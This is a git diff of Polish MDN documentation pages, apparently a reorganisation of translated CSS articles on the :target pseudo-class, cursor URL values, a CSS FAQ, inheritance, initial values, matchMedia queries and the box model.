W przypadkach, gdy identyfikator fragmentu wskazuje na dany kawałek dokumentu, użytkownik może nie być pewny, którą część dokumentu ma czytać. Dzięki ostylowaniu targetu adresu URL można tego uniknąć.

+ + + + + +
+

Original Document Information

+ + +
diff --git "a/files/pl/web/css/css_selectors/u\305\274ycie_pseudoklasy__colon_target_w_selektorach/index.html" "b/files/pl/web/css/css_selectors/u\305\274ycie_pseudoklasy__colon_target_w_selektorach/index.html" deleted file mode 100644 index ff4ec92e20..0000000000 --- "a/files/pl/web/css/css_selectors/u\305\274ycie_pseudoklasy__colon_target_w_selektorach/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: 'Użycie pseudoklasy :target w selektorach' -slug: 'Web/CSS/CSS_Selectors/Użycie_pseudoklasy_:target_w_selektorach' -translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' ---- -
{{CSSRef}}
- -

Czasami adres URL wskazuje na konkretny fragment dokumentu, ale użytkownikowi może być ciężko to zauważyć. Sprawdź, jak można łatwo zwrócić uwagę użytkownika na target naszego adresu URL za pomocą CSS.

- -

Wybór targetu

- -

Pseudoklasy {{cssxref(":target")}} używa się, aby ostylować targetowany element adresu URL, który zawiera identyfikator fragmentu.

- -

Przykładowo, adres URL http://developer.mozilla.org/en/docs/Using_the_:target_selector#example zawiera identyfikator fragmentu o treści #example. W HTML identyfikatory fragmentu to wartości atrybutów id lub name jako że atrybuty te dzielą tę samą przestrzeń na nazwy. A więc adres URL z naszego przykładu wskazywałby nam część strony o tytule "example".

- -

Przypuśćmy, że chcesz ostylować każdy element h2, który jest targetem URL i nie chcesz, żeby elementy innego rodzaju dostały ostylowane w ten sposób. To proste:

- -
h2:target { font-weight: bold; }
- -

Można też stworzyć style, które dotyczą jedynie konkretnego fragmentu naszej strony. Robi się to używając tego samego identyfikatora, który znajduje się w naszym URL. Tak więc aby dodać obramowanie do fragmentu strony zawierającego element #example, napisalibyśmy:

- -
#example:target { border: 1px solid black; }
- -

Targetowanie wszystkich elementów

- -

Jeżeli chcemy stworzyć uniwersalne stylowanie, którego będziemy używać do wszystkich targetowanych elementów, możemy użyć uniwersalnego selektora:

- -
:target { color: red; }
-
- -

Przykład

- -

W poniższym przykładzie jest pięć odnośników, które przenoszą nas do różnych elementów należących do jednego dokumentu. Wybierając link "Pierwszy" sprawi, że <h1 id="one"> zostanie naszym pierwszym targetowanym elementem. Zwróć uwagę, że dokument zostać przewinięty przewinąć do nowej pozycji, jako że targetowane elementy umieszcza się w miarę możliwości na górze okna przeglądarki.

- -
-
<h4 id="jeden">...</h4> <p id="dwa">...</p>
-<div id="trzy">...</div> <a id="cztery">...</a> <em id="piec">...</em>
-
-<a href="#jeden">Pierwszy</a>
-<a href="#dwa">Drugi</a>
-<a href="#trzy">Trzeci</a>
-<a href="#cztery">Czwarty</a>
-<a href="#piec">Piąty</a>
-
- -

Podsumowanie

- -

W przypadkach, gdy identyfikator fragmentu wskazuje na dany kawałek dokumentu, użytkownik może nie być pewny, którą część dokumentu ma czytać. Dzięki ostylowaniu targetu adresu URL można tego uniknąć.

- - - - - -
-

Original Document Information

- - -
diff --git "a/files/pl/web/css/cursor/u\305\274ycie_warto\305\233ci_url_dla_w\305\202asno\305\233ci_cursor/index.html" "b/files/pl/web/css/cursor/u\305\274ycie_warto\305\233ci_url_dla_w\305\202asno\305\233ci_cursor/index.html" deleted file mode 100644 index f6e786ee52..0000000000 --- "a/files/pl/web/css/cursor/u\305\274ycie_warto\305\233ci_url_dla_w\305\202asno\305\233ci_cursor/index.html" +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Użycie wartości URL dla własności cursor -slug: Web/CSS/cursor/Użycie_wartości_URL_dla_własności_cursor -tags: - - CSS - - CSS_2.1 - - Programowanie_WWW - - Programowanie_dla_wielu_przeglądarek - - Wszystkie_kategorie -translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property ---- -

 

-

Gecko 1.8 (Firefox 1.5, SeaMonkey 1.0) wspiera wartości URL dla własności cursor CSS 2/2.1. To pozwala używać zewnętrzne obrazki jako kursory myszy — można użyć każdego formatu wspieranego przez Gecko.

-

Składnia

-

Składnia dla tej własności:

-
cursor: [<url>,]* słowo_kluczowe;
-
-

To oznacza, że można podać zero lub więcej adresów URL (oddzielonych przecinkiem), a na końcu musi pojawić się jedno ze słów kluczowych zdefiniowanych w specyfikacji CSS, takie jak auto czy pointer.

-

Na przykład, taka wartość jest dozwolona:

-
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
-
-

Najpierw nastąpi próba pobrania pliku foo.cur. Jeżeli ten plik nie istnieje, lub jest nieprawidłowy z jakiegoś powodu, nastąpi próba pobrania bar.gif, a jeśli to się nie uda, zostanie użyta wartość auto.

-

Wsparcie dla składni CSS3 dla wartości własności cursor zostało dodane w Gecko 1.8beta3 (Deer Partk Alpha 2); zatem działa ono w Firefoksie 1.5. Pozwala to na określanie punktu wiązania kursora, który musi być wewnątrz wymiarów obrazka kursora; koordynaty na zewnątrz obrazka będą przybliżane do krawędzi (n.p. ujemna wartość będzie interpretowana jako 0, a wartości wykraczające poza wymiary obrazka będą przycinane do najbliższego piksela w obrazku). Jeśli nie zostaną podane, dla plików CUR i XBM wartości zostaną pobrane z plików, a dla pozostałych zostanie ustalony lewy górny róg obrazka. Przykładem składni CSS3 jest:

-
cursor: url(foo.png) 4 12, auto;
-
-

Pierwsza liczba to wartość x, a drugi y. W tym przypadku punkt wiązania zostanie ustawiony w pikselu (4,12) licząc od lewego górnego rogu (0,0).

-

Ograniczenia

-

Można używać wszystkich formatów obrazków wspieranych przez Gecko. To oznacza, że możesz użyć BMP, JPG, CUR, GIF, itp. Jednak ANI nie jest wspierane. I nawet, jeżeli zostanie podany animowany GIF, kursor nie będzie animowany. To ograniczenie zostanie usunięte w przyszłych wersjach.

-

Gecko, samo w sobie, nie tworzy żadnych ograniczeń, co do rozmiaru kursora. Jednak powinieneś ograniczyć obrazek do 32x32 dla maksymalnej kompatybilności z różnymi systemami operacyjnymi. W szczególności kursory większe, niż podany rozmiar nie będą działały na Windows 9x (95, 98, ME).

-

Przezroczyste kursory nie są wspierane na systemie Windows w wersjach wcześniejszych niż XP. To ograniczenie systemu operacyjnego. Przezroczystość działa na pozostałych platformach.

-

Tylko wydania Mozilli na platformy Windows, OS/2 i Linux (z GTK+ 2.4 lub nowszym) wspierają wartości URL dla kursorów. Wsparcie dla innych platform może zostać dodane w przyszłości (Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})

-

Kompatybilność z innymi przeglądarkami

-

Microsoft Internet Explorer także wspiera wartości URI dla własności cursor. Jednak wspiera wyłącznie formaty CUR i ANI.

-

Jest także znacznie mniej restrykcyjny w zakresie składni. To oznacza, że wartości takie jak:

-
cursor: url(foo.cur);
-
-

lub:

-
cursor: url(foo.cur), pointer, url(bar.cur), auto;
-
-

będą działały w MSIE, ale nie będą w Gecko. Dla kompatybilności z Gecko i zgodności ze specyfikacja CSS, zawsze na początku należy podać URI, oraz użyć dokładnie jednego słowa kluczowego na końcu.

-

 

diff --git "a/files/pl/web/css/cz\304\231ste_pytania_o_css/index.html" "b/files/pl/web/css/cz\304\231ste_pytania_o_css/index.html" deleted file mode 100644 index 12a84d8c20..0000000000 --- "a/files/pl/web/css/cz\304\231ste_pytania_o_css/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Częste pytania o CSS -slug: Web/CSS/Częste_pytania_o_CSS -tags: - - CSS - - Wszystkie_kategorie -translation_of: Learn/CSS/Howto/CSS_FAQ ---- -

-

-

Często zadawane pytania

-

Stworzyłem poprawny CSS, ale przeglądarka go źle wyświetla

-

Jeśli chcesz, aby Twoja przeglądarka poprawnie wyświetlała strony stworzone zgodnie ze standardami HTML/CSS, to musisz zadeklarować na początku każdego pliku HTML Deklarację Typu Dokumentu (DTD - Document Type Declaration). -

Nowoczesne przeglądarki obsługują dwa główne tryby wyświetlania: -

- -

Jeśli Twoja deklaracja (DTD) jest niepełna, przestarzała lub jej brak, to przeglądarki będą wyświetlały strony używając trybu zgodności wstecznej. -

Oto lista najczęściej używanych DTD: -

-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-

Różnice między id i class

-

Bloki i elementy HTML-a mogą mieć atrybut id i/lub class. Atrybut id pozwala nadać unikalną nazwę wybranemu elementowi. W jednym dokumencie nie może być dwóch elementów o tej samej nazwie (identyfikatorze). Atrybut class pozwala na grupowanie elementów w określonej klasie. Z założenia identyczny atrybut jest stosowany dla wielu elementów. CSS pozwala zdefiniować style, które mają być użyte do elementów z odpowiednim atrybutem id i/lub class. -

Używaj styli zależnych od id, gdy chcesz ograniczyć ich działanie do konkretnego bloku lub elementu. Dla przykładu - dobrym miejscem na użycie atrybutu id jest blok, w którym umieszczamy menu, ponieważ występuje on tylko raz na stronie. -

Używaj atrybutu class, gdy chcesz aby ten sam styl był stosowany do grupy elementów. -

Zobacz Selektory CSS -

-

Przywracanie domyślnej wartości własności

-

W CSS2 nie ma możliwości ustawienia standardowej wartości dla własności CSS. Jedyna droga, aby przywrócić standardową wartość, to przedeklarowanie (musisz znać standardową wartość, ponieważ CSS nie posiada słowa kluczowego default) -

Musisz zachować szczególną ostrożność pisząc reguły stylów, gdy używasz selektorów (np. selektorów po nazwie znacznika jak na przykład p), które możesz chcieć nadpisać bardziej szczegółowymi regułami (jak te przy użyciu ID lub selektorów klas), ponieważ oryginalna standardowa wartość nie może być automatycznie odzyskana. -

Z powodu kaskadowej natury CSS dobrą praktyką jest definiowanie reguł stylów najszczegółowiej jak się tylko da, żeby wpływały tylko na to, co chcesz. -

-

Style pochodne

-

CSS nie pozwala na definiowanie stylów w regułach innego, głównie z powodu user agents performance issues (Eric Meyer words about it). -

W każdym razie, dobrze zorganizowany dokument HTML nie potrzebuje zagnieżdżonych stylów, dzięki kaskadowej naturze stylów. W rzeczywistości, jeśli potrzebujesz dokonać drobnej zmiany konkretnej reguły, stwórz oddzielną regułę zawierającą tylko zmiany. W HTML-u zastosuj główną regułę, a potem tą ze zmianami (patrz następna sekcja na temat przydzielania kilku klas). -

-

Przydzielanie kilku klas

-

Elementy HTML-a mogą być opisane przez kilka klas. Robi się to wymieniając nazwy kolejnych klas w atrybucie class, oddzielając kolejne nazwy spacjami. -

-
<style type="text/css">
-.firstclass { background: black; color: white; }
-.secondclass { font-weight: bold; }
-</style>
-
-<div class="firstclass secondclass">
-... treść ...
-... treść ...
-... treść ...
-</div>
-
-

Jeśli ta sama własność jest zadeklarowana w dwóch regułach, to konflikt rozwiązywany jest najpierw poprzez ich specyfikę, a później kolejność w arkuszu stylów. Kolejność klas w atrybucie class jest nieistotna. -

-

Własności stylów, które nie działają

-

Często się zdarza, że poprawnie zdefiniowane style są ignorowane. Nie wynika to ani z błędu przeglądarki, ani z błędnej składni w CSS. Zwykle jest to zachowanie jak najbardziej prawidłowe, wynikające bezpośrednio ze składni i kolejności intepretacji reguł CSS. -

Najczęstsze powody ignorowania niektórych styli to: -

- -

Aby zlokalizować omówiony powyżej problem narzędziem zwanym " Inspektor DOM", w którym będziemy mogli zobaczyć jego lokalizację. -

Hierarchia elementów HTML-a -

Sposób, w jaki style CSS są stosowane do elementów HTML, zależy od hierarchii samych elementów HTML. Ważne jest, aby to zapamiętać, ponieważ reguła potomka jest zawsze ważniejsza od reguły elementu nadrzędnego. -

-
#section { font-weight: bold; }
-.redtext { font-weight: normal; color: red; }
-
-<div id="section">
-   To jest pogrubiony tekst
-   <span class="redtext"> ten ma normalną grubość, lecz jest czerwony,</span>
-   i znów pogrubiony
-</div>
-
-

Wydaje się to dość oczywiste, gdyż wynika z prostoty kaskadowych arkuszy stylów. Gdy w przypadku skomplikowanych hierarchii HTML jakaś reguła wydaje sie być ignorowana, najpierw sprawdź, czy podejrzany element nie jest wewnątrz innego ze zdefiniowanym innym stylem. -


-Przedefiniowywanie reguł stylów -

W arkuszach stylów kolejność jest istotna. W praktyce, jeśli zdefiniujesz regułę, a następnie zmienisz tą definicję w dalszej części arkusza stylów to użyta będzie ostatnia definicja. -

-
#sekcja { font-weight: bold; }
-.czerwony_tekst { color: red; }
-/* inne reguły                         */
-/*             inne reguły             */
-/*                         inne reguły */
-.czerwony_tekst { font-weight: normal; }
-
-<div id="sekcja">
-   Ten tekst jest pogrubiony,
-   <span class="redtext"> ten jest normalny i czerwony,</span>
-   a ten znów pogrubiony.
-</div>
-
-

Aby uniknąć tego typu błędów, spróbuj definiować reguły tylko raz dla konkretnego selektora i należącej do niego grupy reguł. -


-Używanie skrótów własności -

Używanie skrótów własności do definiowania reguł stylów jest dobre, ponieważ używa zwięzłej składni. Używanie ~shorthand~ tylko z niektórymi atrybutami jest możliwe i poprawne, ale trzeba pamiętać, że niezadeklarowane atrybuty są automatycznie resetowane do wartości standardowych. Oznacza to, że poprzednia reguła dla pojedynczego atrybutu może być bezwarunkowo nadpisana. -

-
#sekcja { font-size: 12px; font-family: Verdana; font-weight: bold; }
-.czerwony_tekst { font: 14px Arial; color: red; }
-
-<div id="sekcja">
-   To jest pogrubiona 12-o pikselowa Verdana,
-   <span class="czerwony_tekst">to jest normalny 14-o pikselowy, czerwony Arial,</span>
-   i znów 12-o pikselowa Verdana
-</div>
-
-

W poprzednim przykładnie problem w regułach należących do różnych elementów, ale to samo może się zdarzyć dla tego samego elementu, ponieważ kolejność reguł jest istotna. -

-
#sekcja {
-   font-weight: bold;
-   font: 12px Verdana;  /* skrót nadpisuje pogrubienie i zwraca normalny */
-}
-
-


-Używanie selektora: * -

Selektor gwiazdki (*) pozwala na odniesienie się do dowolnego elementu i powinien być używany ze szczególną ostrożnością, ponieważ może być trudne kontrolowanie elementów, do których reguły są dodawane. -

-
body * { font-weight: normal; }
-#sekcja { font: 12px Verdana; }
-.pogrubiony_tekst { font-weight: bold; }
-.czerwony_tekst { color: red; }
-
-<div id="sekcja">
-   Ten jest normalny,
-   <span class="pogrubiony_tekst">
-      <span class="czerwony_tekst"> ten jest normalny i czerwony,</span>
-   </span>
-   i znów normalny.
-</div>
-
-

W tym przykładzie body * pozwala na zastosowanie reguł do wszystkich elementów wewnątrz body, na każdym poziomie hierarchii - także do czerwony_tekst. Tak więc font-weight: bold; zastosowany do klasy pogrubiony_tekst jest nadpisane przez font-weight: normal; klasy czerwony_tekst. -

Starszeństwo w CSS -

Gdy stosowane są różne reguły dla konkretnego elementu to która z nich zostanie zastosowana zależy od starszeństwa stylów. Style inline (liniowe, takie jak span) są interpretowane na początku, potem te oparte na identyfikatorze (id), następnie klasie (class) i ewentualnie znajdujące się wewnątrz elementu (style=""). -


-

-
div { color: black; }
-#pomaranczowy { color: orange; }
-.zielony { color: green; }
-
-<div id="pomaranczowy" class="zielony" style="color: red;">To jest czerwony tekst</div>
-
-

Więcej informacji na temat działania selektorów można znaleźć w sieci → CSS 2.1 Specification chapter 6.4.3 -

-

Co wykonuje własność -moz-*?

-

Zobacz: Rozszerzenia CSS Mozilli. -

-
-
-{{ languages( { "en": "en/Common_CSS_Questions", "zh-tw": "zh_tw/CSS_\u4e00\u822c\u554f\u984c" } ) }} diff --git a/files/pl/web/css/dziedziczenie/index.html b/files/pl/web/css/dziedziczenie/index.html deleted file mode 100644 index e8049231f1..0000000000 --- a/files/pl/web/css/dziedziczenie/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Dziedziczenie -slug: Web/CSS/Dziedziczenie -tags: - - CSS - - 'CSS:Dokumentacje' - - Dokumentacje - - Wszystkie_kategorie -translation_of: Web/CSS/inheritance ---- -

-{{ CSSRef() }} -

-

Podsumowanie

-

Podsumowanie każdej definicji własności CSS zawiera informację, czy dana własność jest dziedziczona domyślnie ("Dziedziczona: tak"), czy też nie ("Dziedziczona: nie"). Umożliwia to kontrolę nad tym, co się dzieje, gdy nie została określona żadna wartość własności elementu. -

-

Własności dziedziczone

-

Gdy nie została określona wartość własności dziedziczonej elementu, element otrzymuje wartość wyliczoną własności elementu-rodzica. Tylko element główny dokumentu otrzymuje wartość początkową podaną w podsumowaniu własności. -

Typowym przykładem własności dziedziczonej jest własność {{ Cssxref("color") }}. Mając następujące reguły stylu: -

-
 p { color: green }
-
-

i znaczniki -

-
 <p>Ten akapit zawiera <em>wyróżniony tekst</em> wewnątrz.</p>
-
-

wyrażenie "wyróżniony tekst" będzie miało kolor zielony, ponieważ element em odziedziczył wartość własności {{ Cssxref("color") }} po elemencie p. Nie otrzymuje on początkowej wartości własności (którą jest kolor użyty w elemencie głównym, gdy nie został określony dla strony żaden kolor). -

-

Własności niedziedziczone

-

Gdy nie została określona wartość własności niedziedziczonej (czasami nazywanej własnością reset w kodzie Mozilli) elementu, element otrzymuje wartość początkową tej własności (jak podano w podsumowaniu własności). -

Typowym przykładem własności niedziedziczonej jest własność {{ Cssxref("border") }}. Mając następujące reguły stylu: -

-
 p { border: medium solid }
-
-

i znaczniki -

-
 <p>Ten akapit zawiera <em>wyróżniony tekst</em> wewnątrz.</p>
-
-

wyrażenie "wyróżniony tekst" nie będzie posiadało ramki (ponieważ wartość początkowa własności {{ Cssxref("border-style") }} to none). -

-

Uwagi

-

Słowo kluczowe {{ Cssxref("inherit") }} pozwala na bezpośrednie określenie dziedziczenia. Działa ono zarówno na własnościach dziedziczonych jak i niedziedziczonych. -

-

Zobacz również

-

{{ Cssxref("inherit") }}, wartość początkowa -


-

-
-
-{{ languages( { "en": "en/CSS/inheritance", "es": "es/CSS/inheritance", "fr": "fr/CSS/H\u00e9ritage", "ja": "ja/CSS/inheritance" } ) }} diff --git a/files/pl/web/css/inheritance/index.html b/files/pl/web/css/inheritance/index.html new file mode 100644 index 0000000000..e8049231f1 --- /dev/null +++ b/files/pl/web/css/inheritance/index.html @@ -0,0 +1,50 @@ +--- +title: Dziedziczenie +slug: Web/CSS/Dziedziczenie +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/inheritance +--- +

+{{ CSSRef() }} +

+

Podsumowanie

+

Podsumowanie każdej definicji własności CSS zawiera informację, czy dana własność jest dziedziczona domyślnie ("Dziedziczona: tak"), czy też nie ("Dziedziczona: nie"). Umożliwia to kontrolę nad tym, co się dzieje, gdy nie została określona żadna wartość własności elementu. +

+

Własności dziedziczone

+

Gdy nie została określona wartość własności dziedziczonej elementu, element otrzymuje wartość wyliczoną własności elementu-rodzica. Tylko element główny dokumentu otrzymuje wartość początkową podaną w podsumowaniu własności. +

Typowym przykładem własności dziedziczonej jest własność {{ Cssxref("color") }}. Mając następujące reguły stylu: +

+
 p { color: green }
+
+

i znaczniki +

+
 <p>Ten akapit zawiera <em>wyróżniony tekst</em> wewnątrz.</p>
+
+

wyrażenie "wyróżniony tekst" będzie miało kolor zielony, ponieważ element em odziedziczył wartość własności {{ Cssxref("color") }} po elemencie p. Nie otrzymuje on początkowej wartości własności (którą jest kolor użyty w elemencie głównym, gdy nie został określony dla strony żaden kolor). +

+

Własności niedziedziczone

+

Gdy nie została określona wartość własności niedziedziczonej (czasami nazywanej własnością reset w kodzie Mozilli) elementu, element otrzymuje wartość początkową tej własności (jak podano w podsumowaniu własności). +

Typowym przykładem własności niedziedziczonej jest własność {{ Cssxref("border") }}. Mając następujące reguły stylu: +

+
 p { border: medium solid }
+
+

i znaczniki +

+
 <p>Ten akapit zawiera <em>wyróżniony tekst</em> wewnątrz.</p>
+
+

wyrażenie "wyróżniony tekst" nie będzie posiadało ramki (ponieważ wartość początkowa własności {{ Cssxref("border-style") }} to none). +

+

Uwagi

+

Słowo kluczowe {{ Cssxref("inherit") }} pozwala na bezpośrednie określenie dziedziczenia. Działa ono zarówno na własnościach dziedziczonych jak i niedziedziczonych. +

+

Zobacz również

+

{{ Cssxref("inherit") }}, wartość początkowa +


+

+
+
+{{ languages( { "en": "en/CSS/inheritance", "es": "es/CSS/inheritance", "fr": "fr/CSS/H\u00e9ritage", "ja": "ja/CSS/inheritance" } ) }} diff --git a/files/pl/web/css/initial_value/index.html b/files/pl/web/css/initial_value/index.html new file mode 100644 index 0000000000..8144cb37ba --- /dev/null +++ b/files/pl/web/css/initial_value/index.html @@ -0,0 +1,25 @@ +--- +title: Wartość początkowa +slug: Web/CSS/Wartość_początkowa +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/initial_value +--- +

{{ CSSRef() }} +

+

Podsumowanie

+

Wartość początkowa podana w podsumowaniu każdej własności CSS ma odmienne znaczenie własności dziedziczonych i własności niedziedziczonych. +

Dla własności dziedziczonych wartość początkowa używana jest tylko dla elementu źródłowego, gdy nie określono wartości elementu. +

Dla własności niedziedziczonych wartość początkowa używana jest dla każdego elementu, gdy nie określono wartości elementu. +

W CSS3 dodano wartość initial, by pozwolić autorom na wyraźne określenie wartości początkowej. +

+

Zobacz również

+

Własności dziedziczone i niedziedziczone, initial +


+

+
+
+{{ languages( { "en": "en/CSS/initial_value", "es": "es/CSS/Valor_inicial", "fr": "fr/CSS/Valeur_initiale", "ja": "ja/CSS/initial_value", "ko": "ko/CSS/initial_value" } ) }} diff --git a/files/pl/web/css/inne_zasoby/index.html b/files/pl/web/css/inne_zasoby/index.html deleted file mode 100644 index f124f74fd7..0000000000 --- a/files/pl/web/css/inne_zasoby/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Inne zasoby -slug: Web/CSS/Inne_zasoby -tags: - - CSS - - Wszystkie_kategorie -translation_of: Web/CSS -translation_of_original: Web/CSS/Other_Resources ---- -

-

-

Dokumenty W3C

- -

Inne zasoby

- -{{ languages( { "en": "en/CSS/Other_Resources", "fr": "fr/CSS/Autres_ressources", "ja": "ja/CSS/Other_Resources" } ) }} diff --git a/files/pl/web/css/media_queries/testing_media_queries/index.html b/files/pl/web/css/media_queries/testing_media_queries/index.html new file mode 100644 index 0000000000..140d3a1796 --- /dev/null +++ b/files/pl/web/css/media_queries/testing_media_queries/index.html @@ -0,0 +1,116 @@ +--- +title: Sprawdzanie media queries +slug: Web/Guide/CSS/Sprawdzanie_media_queries +translation_of: Web/CSS/Media_Queries/Testing_media_queries +--- +

{{SeeCompatTable}}

+ +

DOM dostarcza funkcje, dzięki którym możliwym jest sprawdzenie wyników media query. Jest to możliwe przy użyciu interfejsu {{domxref("MediaQueryList") }} i jego funkcji oraz właściwości. Po utworzeniu obiektu {{domxref("MediaQueryList") }} możesz zbadać wynik zapytania (query) lub (dodatkowo) otrzymywać powiadomienie, gdy rezultat się zmieni.

+ +

Tworzenie listy media query

+ +

Zanim będziesz mógł ocenić wynik zapytania, musisz utworzyć obiekt {{domxref("MediaQueryList") }}, reprezentujący media query. Aby to uczynić użyj metody {{domxref("window.matchMedia") }}.

+ +

Na przykład, jeśli chcesz ustalić czy orientacja urządzenia jest pionowa czy pozioma, możesz skorzystać z takiego zapytania jak poniżej:

+ +
var mql = window.matchMedia("(orientation: portrait)"); /* sprawdzamy czy orientacja obiektu, jest pionowa; zwraca obiekt MediaQueryList */
+
+ +

Sprawdzanie rezultatu zapytania (query)

+ +

Po wykonaniu powyższej metody, mamy dostęp do obiektu {{domxref("MediaQueryList") }}, który ma kilka przydatnych metod i właściwości. Jedną z nich jest cecha matches, która zwraca prawdę lub fałsz.

+ +
if (mql.matches) {
+  /* wykryta orientacja pionowa */
+} else {
+  /* wykryta orientacja pozioma */
+}
+
+ +

Otrzymywanie powiadomień

+ +

W przypadku, gdy chciałbyś na bieżąco dostawać alerty o stanie zapytania (query), skorzystaj z funkcji addListener(), która jest zdecydowanie wydajniejsza aniżeli sprawdzanie "ręcznie" co jakiś czas. By skorzystać z tego ułatwienia, wywołaj tę funkcję na obiekcie {{domxref("MediaQueryList") }}, określając obserwator, który implementuje interfejs {{domxref("MediaQueryListListener") }}:

+ +
var mql = window.matchMedia("(orientation: portrait)");
+mql.addListener(zmianaOrientacji);
+zmianaOrientacji(mql);
+
+ +

Powyższy kod tworzy media query list, a następnie dołącza listener. Zauważ, że po dodaniu listenera, przywołaliśmy listenera bezpośrednio - trzecia linijka. To pozwala nam określić aktualną orientację urządzenia.

+ +

Zaimplementowana metoda zmianaOrientacji() pozwala nam wykonać pewne czynności, gdy zmieni się położenie urządzenia.

+ +
function zmianaOrientacji(mql) {
+  if (mql.matches) {
+    /* wykryta orientacja pionowa */
+  } else {
+    /* wykryta orientacja pozioma */
+  }
+}
+
+ +

Wyłączenie powiadomień

+ +

Gdy nie potrzebujesz już powiadomień dotyczących zmiany wartości zapytania, możesz wywołać metodę removeListener() dostępną w obiekcie {{domxref("MediaQueryList") }}:

+ +
mql.removeListener(zmianaOrientacji);
+
+ +

Zgodność z przeglądarką

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support9{{CompatGeckoDesktop("6.0") }}1012.15.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support3.0{{CompatUnknown}}1012.15
+
+ +

Zobacz także

+ + diff --git "a/files/pl/web/css/na_pocz\304\205tek/bloki/index.html" "b/files/pl/web/css/na_pocz\304\205tek/bloki/index.html" deleted file mode 100644 index d8edcc96fb..0000000000 --- "a/files/pl/web/css/na_pocz\304\205tek/bloki/index.html" +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Bloki -slug: Web/CSS/Na_początek/Bloki -tags: - - 'CSS:Na_początek' -translation_of: Learn/CSS/Building_blocks -translation_of_original: Web/Guide/CSS/Getting_started/Boxes ---- -

 

-

Ta strona opisuje jak możesz użyć CSS do kontroli przestrzeni, którą zajmuje wyświetlany element.

-

W swoim przykładowym dokumencie będziesz zmieniać odstępy i dodawać reguły dekoracyjne.

-

Informacja: Bloki

-

Kiedy Twoja przeglądarka wyświetla element, zajmuje on miejsce. Przestrzeń, którą zajmuje element, dzieli się na cztery części.

-

W środku istnieje przestrzeń, której element potrzebuje do wyświetlenia swojej zawartości. Wokół tego jest margines wewnętrzny. Wokół tego jest ramka. Wokół tego jest margines zewnętrzny.

- -

margines zewnętrzny

ramka

margines wewnętrzny

element

Jasny szary wskazuje części układu strony.

 

 

 

element

Tak wygląda to w przeglądarce.

-

Marginesy wewnętrzne, zewnętrzne i ramka mogą mieć różne wielkości na górze, na dole, po prawej i po lewej stronie elementu. Każdy z nich może mieć wartość zero.

-

Margines wewnętrzny ma zawsze ten sam kolor, co tło elementu. Zatem kiedy określasz kolo tła, widzisz ten kolor w tle elementu i jego marginesu wewnętrznego. Margines jest zawsze przezroczysty.

- -

margines zewnętrzny

ramka

margines wewnętrzny

element

Ten element ma zielone tło.

 

 

 

element

Tak wygląda to w przeglądarce.

-

Ramki

-

Możesz użyć ramek do dekoracji elementów liniami lub blokami.

-

Aby utworzyć jednakową ramkę wokół całego elementu, użyj własności border. Określ szerokość (zwykle w pikselach), styl i kolor.

-

Istnieją następujące style:

- -
solid
dotted
dashed
double
inset
outset
ridge
groove
-

Możesz także ustawić styl na none lub hidden, aby usunąć ramkę, lub ustawić kolor na transparent, aby ustawić przezroczystą ramkę bez dotykania układu.

-

Aby określić osobno każdą krawędź ramki, użyj własności: border-top (góra), border-right (prawo), border-bottom (dół), border-left (lewo). Możesz ich użyć do określenia ramki tylko po jednej stronie lub różnych ramek dla każdej krawędzi.

- -
Przykłady
Ta reguła ustawia kolor tła i górną ramkę dla elementów nagłówka:

h3 {

 border-top: 4px solid #7c7; /* mid green */
- background-color: #efe;     /* pale green */
- color: #050;                /* dark green */
- }
-

Wygląda to tak:

Nagłówek w dobrym stylu

Dzięki tej regule obrazki są lepiej widoczne dzięki lekko szarej ramce wokół każdego z nich:

img {border: 2px solid #ccc;}

Rezultat jest następujący:

Obrazek: Image:Blue-rule.png
-

Marginesy zewnętrzne i wewnętrzne

-

Użyj marginesów zewnętrznych i wewnętrznych, aby dopasować pozycję elementów i stworzyć przestrzeń wokół nich.

-

Użyj własności margin lub padding, aby ustawić szerokość marginesu wewnętrznego lub zewnętrznego.

-

Jeżeli podasz tylko jedną wartość, zostanie ona zastosowana wokół całego elementu (góra, prawo, dół i lewo).

-

Jeżeli określisz dwie wartości, pierwsza zostanie używa do określenia wymiarów góry i dołu, druga do prawa i lewa.

-

Możesz też określić wszystkie cztery szerokości w kolejności: góra, prawo, dół, lewo.

- -
Przykład
Ta reguła oznacza akapity z klasą remark poprzez dodanie czerwonej ramki wokół nich.

Marginesy wewnętrzne ustawione dla wszystkie boków odsuną trochę ramki od tekstu.

Lewy margines zewnętrzny odsuwa akapit od reszty tekstu:

p.remark {

 border: 2px solid red;
- padding: 4px;
- margin-left: 24px;
- }
-

Wynik wygląda tak:

Oto zwykły akapit.

A to akapit z klasą remark.

- -
Więcej szczegółów
Kiedy używasz marginesów zewnętrznych i wewnętrznych do określania, jak układane są elementu, Twoje reguły stylu wpływają na domyślne wartości przeglądarki w sposób, który może być bardzo skomplikowany.

